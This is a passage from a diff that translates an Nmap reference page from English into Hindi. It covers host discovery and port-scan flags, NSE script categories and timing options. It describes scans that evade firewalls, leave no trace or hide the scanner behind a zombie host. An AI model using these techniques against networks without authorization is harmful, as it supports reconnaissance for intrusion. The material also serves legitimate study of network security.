sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: यह आक्रामक नहीं है, यह लक्ष्यों की सूची बनाता है जो नामों को हल करने के लिए **DNS** अनुरोध करते हैं। यह जानने के लिए उपयोगी है कि उदाहरण के लिए www.prueba.es/24 सभी आईपी हमारे लक्ष्य हैं। +- **`-Pn`**: **कोई पिंग नहीं**। यह उपयोगी है यदि आप जानते हैं कि वे सभी सक्रिय हैं (यदि नहीं, तो आप बहुत सारा समय बर्बाद कर सकते हैं, लेकिन यह विकल्प भी गलत नकारात्मक उत्पन्न करता है यह कहते हुए कि वे सक्रिय नहीं हैं), यह खोज चरण को रोकता है। +- **`-sn`** : **कोई पोर्ट स्कैन नहीं**। यह अन्वेषण चरण को पूरा करने के बाद, पोर्ट स्कैन नहीं करता है। यह अपेक्षाकृत छिपा हुआ है, और एक छोटे नेटवर्क स्कैन की अनुमति देता है। विशेषाधिकार के साथ यह 80 पर ACK (-PA), 443 पर SYN(-PS) और एक इको अनुरोध और एक टाइमस्टैम्प अनुरोध भेजता है, बिना विशेषाधिकार के यह हमेशा कनेक्शन को पूरा करता है। यदि लक्ष्य नेटवर्क है, तो यह केवल ARP(-PR) का उपयोग करता है। यदि किसी अन्य विकल्प के साथ उपयोग किया जाता है, तो केवल अन्य विकल्प के पैकेट गिराए जाते हैं। +- **`-PR`**: **पिंग ARP**। यह हमारे नेटवर्क में कंप्यूटरों का विश्लेषण करते समय डिफ़ॉल्ट रूप से उपयोग किया जाता है, यह पिंग का उपयोग करने की तुलना में तेज है। यदि आप ARP पैकेट का उपयोग नहीं करना चाहते हैं तो `--send-ip` का उपयोग करें। +- **`-PS `**: यह SYN पैकेट भेजता है, यदि यह SYN/ACK के साथ उत्तर देता है तो यह खुला है (जिसका उत्तर RST के साथ दिया जाता है ताकि कनेक्शन समाप्त न हो), यदि यह RST के साथ उत्तर देता है तो यह बंद है और यदि यह उत्तर नहीं देता है तो यह पहुंच से बाहर है। यदि विशेषाधिकार नहीं हैं, तो एक पूर्ण कनेक्शन स्वचालित रूप से उपयोग किया जाता है। यदि कोई पोर्ट नहीं दिए जाते हैं, तो यह 80 पर फेंकता है। +- **`-PA `**: पिछले वाले की तरह लेकिन ACK के साथ, दोनों को मिलाकर बेहतर परिणाम मिलते हैं। +- **`-PU `**: उद्देश्य इसके विपरीत है, इन्हें उन पोर्टों पर भेजा जाता है जो बंद होने की उम्मीद की जाती है। कुछ फ़ायरवॉल केवल TCP कनेक्शनों की जांच करते हैं। यदि यह बंद है तो इसे पोर्ट पहुंच से बाहर के साथ उत्तर दिया जाता है, यदि इसे किसी अन्य ICMP के साथ उत्तर दिया जाता है या उत्तर नहीं दिया जाता है तो इसे गंतव्य पहुंच से बाहर के रूप में छोड़ दिया जाता है। +- **`-PE, -PP, -PM`** : ICMP PINGS: इको रिप्ले, टाइमस्टैम्प और एड्रेसमास्क। इन्हें यह पता लगाने के लिए लॉन्च किया जाता है कि क्या लक्ष्य सक्रिय है। +- **`-PY`**: डिफ़ॉल्ट रूप से 80 पर SCTP INIT प्रॉब भेजता है, INIT-ACK(खुला) या ABORT(बंद) या कुछ नहीं या ICMP पहुंच से बाहर(निष्क्रिय) का उत्तर दिया जा सकता है। +- **`-PO `**: हेडर में एक प्रोटोकॉल इंगित किया जाता है, डिफ़ॉल्ट रूप से 1(ICMP), 2(IGMP) और 4(Encap IP)। ICMP, IGMP, TCP (6) और UDP (17) प्रोटोकॉल के लिए प्रोटोकॉल हेडर भेजे जाते हैं, बाकी के लिए केवल IP हेडर भेजा जाता है। इसका उद्देश्य यह है कि हेडर के विकृत होने के कारण, प्रोटोकॉल पहुंच से बाहर या उसी प्रोटोकॉल के उत्तर दिए जाते हैं यह जानने के लिए कि क्या यह सक्रिय है। +- **`-n`**: कोई DNS नहीं +- **`-R`**: DNS हमेशा -### Port scanning techniques +### पोर्ट स्कैनिंग तकनीकें -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: कनेक्शन को पूरा नहीं करता है इसलिए कोई निशान नहीं छोड़ता, यदि इसका उपयोग किया जा सके तो बहुत अच्छा है। (विशेषाधिकार) यह डिफ़ॉल्ट रूप से उपयोग किया जाता है। +- **`-sT`**: कनेक्शन को पूरा करता है, इसलिए यह निशान छोड़ता है, लेकिन इसका उपयोग निश्चित रूप से किया जा सकता है। डिफ़ॉल्ट रूप से बिना विशेषाधिकार के। +- **`-sU`**: धीमा, UDP के लिए। मुख्य रूप से: DNS(53), SNMP(161,162), DHCP(67 और 68), (-sU53,161,162,67,68): खुला(उत्तर), बंद(पोर्ट पहुंच से बाहर), फ़िल्टर किया गया (अन्य ICMP), खुला/फ़िल्टर किया गया (कुछ नहीं)। खुला/फ़िल्टर किए जाने की स्थिति में, -sV किसी भी संस्करण का पता लगाने के लिए कई अनुरोध भेजता है जो nmap का समर्थन करता है और वास्तविक स्थिति का पता लगा सकता है। यह समय को बहुत बढ़ा देता है। +- **`-sY`**: SCTP प्रोटोकॉल कनेक्शन स्थापित करने में विफल रहता है, इसलिए कोई लॉग नहीं होते, यह -PY की तरह काम करता है। +- **`-sN,-sX,-sF`:** नल, फिन, क्रिसमस, ये कुछ फ़ायरवॉल में प्रवेश कर सकते हैं और जानकारी निकाल सकते हैं। ये इस तथ्य पर आधारित हैं कि मानक अनुपालन मशीनें सभी अनुरोधों का उत्तर RST के साथ देंगी जिनमें SYN, RST या ACK लंगर नहीं हैं: खुला/फ़िल्टर किया गया(कुछ नहीं), बंद(RST), फ़िल्टर किया गया (ICMP पहुंच से बाहर)। Windows, Cisco, BSDI और OS/400 पर अविश्वसनीय। यूनिक्स पर हाँ। +- **`-sM`**: माइमोन स्कैन: FIN और ACK ध्वज भेजता है, BSD के लिए उपयोग किया जाता है, वर्तमान में सभी को बंद के रूप में लौटाएगा। +- **`-sA, sW`**: ACK और विंडो, फ़ायरवॉल का पता लगाने के लिए उपयोग किया जाता है, यह जानने के लिए कि क्या पोर्ट फ़िल्टर किए गए हैं या नहीं। -sW खुला/बंद के बीच भेद करता है क्योंकि खुले उत्तर एक अलग विंडो मान के साथ होते हैं: खुला (RST विंडो 0 के अलावा), बंद (RST विंडो = 0), फ़िल्टर किया गया (ICMP पहुंच से बाहर या कुछ नहीं)। सभी कंप्यूटर इस तरह से काम नहीं करते, इसलिए यदि सभी बंद हैं, तो यह काम नहीं कर रहा है, यदि कुछ खुले हैं, तो यह ठीक काम कर रहा है, और यदि कई खुले हैं और कुछ बंद हैं, तो यह इसके विपरीत काम कर रहा है। +- **`-sI`:** आईडल स्कैन। उन मामलों के लिए जिनमें एक सक्रिय फ़ायरवॉल है लेकिन हम जानते हैं कि यह एक निश्चित आईपी को फ़िल्टर नहीं करता है (या जब हम बस गुमनामी चाहते हैं) हम ज़ोंबी स्कैनर का उपयोग कर सकते हैं (यह सभी पोर्ट के लिए काम करता है), संभावित ज़ोंबियों की तलाश के लिए हम स्क्रिप्ट ipidseq या एक्सप्लॉइट सहायक/स्कैनर/ip/ipidseq का उपयोग कर सकते हैं। यह स्कैनर IP पैकेट के IPID नंबर पर आधारित है। +- **`--badsum`:** यह गलत योग भेजता है, कंप्यूटर पैकेट को अस्वीकार कर देंगे, लेकिन फ़ायरवॉल कुछ उत्तर दे सकते हैं, इसका उपयोग फ़ायरवॉल का पता लगाने के लिए किया जाता है। +- **`-sZ`:** "अजीब" SCTP स्कैनर, जब कुकी इको फ़्रैगमेंट के साथ प्रॉब भेजते हैं तो उन्हें खोना चाहिए यदि खुला है या बंद होने पर ABORT के साथ उत्तर दिया जाना चाहिए। यह उन फ़ायरवॉल के माध्यम से जा सकता है जो init के माध्यम से नहीं जाते हैं, बुरी बात यह है कि यह फ़िल्टर किए गए और खुले के बीच भेद नहीं करता है। +- **`-sO`:** प्रोटोकॉल आईपी स्कैन। खराब और खाली हेडर भेजता है जिनमें कभी-कभी प्रोटोकॉल को भी भेद नहीं किया जा सकता है। यदि ICMP पहुंच से बाहर प्रोटोकॉल आता है तो यह बंद है, यदि पहुंच से बाहर पोर्ट आता है तो यह खुला है, यदि कोई अन्य त्रुटि आती है, तो फ़िल्टर किया गया, यदि कुछ नहीं आता है, तो खुला|फ़िल्टर किया गया। +- **`-b `:** FTPhost--> यह एक होस्ट को दूसरे से स्कैन करने के लिए उपयोग किया जाता है, यह किसी अन्य मशीन के ftp से कनेक्ट करके और इसे उन पोर्टों पर फ़ाइलें भेजने के लिए कहकर किया जाता है जिन्हें आप किसी अन्य मशीन से स्कैन करना चाहते हैं, उत्तरों के अनुसार हम जानेंगे कि वे खुले हैं या नहीं। \[\:\@]\\[:\] लगभग सभी ftps सर्वर अब आपको ऐसा करने की अनुमति नहीं देते हैं और इसलिए इसका व्यावहारिक उपयोग बहुत कम है। -### **Focus Analysis** +### **फोकस विश्लेषण** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** स्कैन करने के लिए पोर्ट निर्दिष्ट करने के लिए उपयोग किया जाता है। सभी 65,335 पोर्ट का चयन करने के लिए: **-p-** या **-p all**। Nmap की एक आंतरिक वर्गीकरण है जो लोकप्रियता पर आधारित है। डिफ़ॉल्ट रूप से, यह शीर्ष 1000 पोर्ट का उपयोग करता है। **-F** (तेज स्कैन) के साथ यह शीर्ष 100 का विश्लेषण करता है। **--top-ports ** के साथ यह शीर्ष पोर्टों की उस संख्या का विश्लेषण करता है (1 से 65,335 तक)। यह यादृच्छिक क्रम में पोर्ट की जांच करता है; इसे रोकने के लिए, **-r** का उपयोग करें। हम विशिष्ट पोर्ट भी चुन सकते हैं: 20-30,80,443,1024- (अर्थात 1024 से आगे देखना)। हम प्रोटोकॉल द्वारा पोर्ट भी समूहित कर सकते हैं: U:53,T:21-25,80,139,S:9। हम Nmap के लोकप्रिय पोर्टों के भीतर एक रेंज भी चुन सकते हैं: -p [-1024] nmap-services में शामिल उन तक पोर्ट 1024 तक का विश्लेषण करता है। **--port-ratio ** एक अनुपात के भीतर सबसे सामान्य पोर्टों का विश्लेषण करता है जो 0 और 1 के बीच है। -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** संस्करण स्कैनिंग, तीव्रता को 0 से 9 के बीच नियंत्रित किया जा सकता है, डिफ़ॉल्ट 7 है। -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** हम तीव्रता को नियंत्रित करते हैं, ताकि जितना कम हो, यह केवल सबसे संभावित प्रॉब लॉन्च करेगा, लेकिन सभी नहीं। इससे, हम UDP स्कैनिंग समय को काफी कम कर सकते हैं। -**-O** OS detection +**-O** OS पहचान -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** उचित होस्ट स्कैनिंग के लिए, कम से कम एक खुला पोर्ट और एक बंद पोर्ट की आवश्यकता होती है। यदि यह शर्त पूरी नहीं होती है और हमने इसे सेट किया है, तो यह OS भविष्यवाणी का प्रयास नहीं करेगा (समय बचाता है)। -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** जब OS पहचान सही नहीं होती है, तो यह अधिक प्रयास करने के लिए बनाता है। -**Scripts** +**स्क्रिप्ट** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +डिफ़ॉल्ट स्क्रिप्ट का उपयोग करने के लिए, -sC या --script=default का उपयोग करें। -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +उपलब्ध प्रकार हैं: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, और vuln। -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** सभी उपलब्ध प्रमाणीकरण स्क्रिप्ट निष्पादित करता है। +- **Default:** बुनियादी डिफ़ॉल्ट टूल स्क्रिप्ट निष्पादित करता है। +- **Discovery:** लक्ष्य या पीड़ित से जानकारी प्राप्त करता है। +- **External:** बाहरी संसाधनों का उपयोग करने के लिए स्क्रिप्ट। +- **Intrusive:** पीड़ित या लक्ष्य के लिए आक्रामक मानी जाने वाली स्क्रिप्ट का उपयोग करता है। +- **Malware:** दुर्भावनापूर्ण कोड या बैकडोर द्वारा खोले गए कनेक्शनों की जांच करता है। +- **Safe:** गैर-आक्रामक स्क्रिप्ट निष्पादित करता है। +- **Vuln:** सबसे ज्ञात कमजोरियों का पता लगाता है। +- **All:** सभी उपलब्ध NSE एक्सटेंशन स्क्रिप्ट को पूरी तरह से निष्पादित करता है। -To search for scripts: +स्क्रिप्ट खोजने के लिए: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> वे जो http- से शुरू होते हैं** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> सभी को छोड़कर** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> वे जो किसी में या दोनों में हैं** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> वे जो दोनों में हैं** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,135 +94,135 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> स्क्रिप्ट की प्रगति के बारे में जानकारी प्रदान करता है। --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**स्क्रिप्ट का उपयोग करने के लिए, बस टाइप करें: nmap --script Script_Name target** --> स्क्रिप्ट का उपयोग करते समय, स्क्रिप्ट और स्कैनर दोनों निष्पादित होंगे, इसलिए स्कैनर विकल्प भी जोड़े जा सकते हैं। हम केवल सुरक्षित स्क्रिप्ट निष्पादित करने के लिए **"safe=1"** जोड़ सकते हैं। -**Time Control** +**समय नियंत्रण** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap समय को सेकंड, मिनट, मिलीसेकंड में संशोधित कर सकता है:** --host-timeout arguments 900000ms, 900, 900s, और 15m सभी एक ही काम करते हैं। -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmap स्कैन करने के लिए कुल होस्टों की संख्या को समूहों में विभाजित करता है और इन समूहों का विश्लेषण ब्लॉकों में करता है, इसलिए यह अगले ब्लॉक पर नहीं जाता जब तक सभी का विश्लेषण नहीं हो जाता (और उपयोगकर्ता को तब तक कोई अपडेट नहीं मिलता जब तक ब्लॉक का विश्लेषण नहीं हो जाता)। इस तरह, Nmap के लिए बड़े समूहों का उपयोग करना अधिक अनुकूल है। डिफ़ॉल्ट रूप से कक्षा C में, यह 256 का उपयोग करता है। -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +इसे **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ के साथ बदला जा सकता है (समानांतर स्कैन समूह के आकार को समायोजित करें)। -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +आप समानांतर स्कैनरों की संख्या को नियंत्रित कर सकते हैं लेकिन बेहतर है कि ऐसा न करें (Nmap पहले से ही नेटवर्क स्थिति के आधार पर स्वचालित नियंत्रण शामिल करता है): **--min-parallelism** _****_**;** **--max-parallelism** _****_। -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**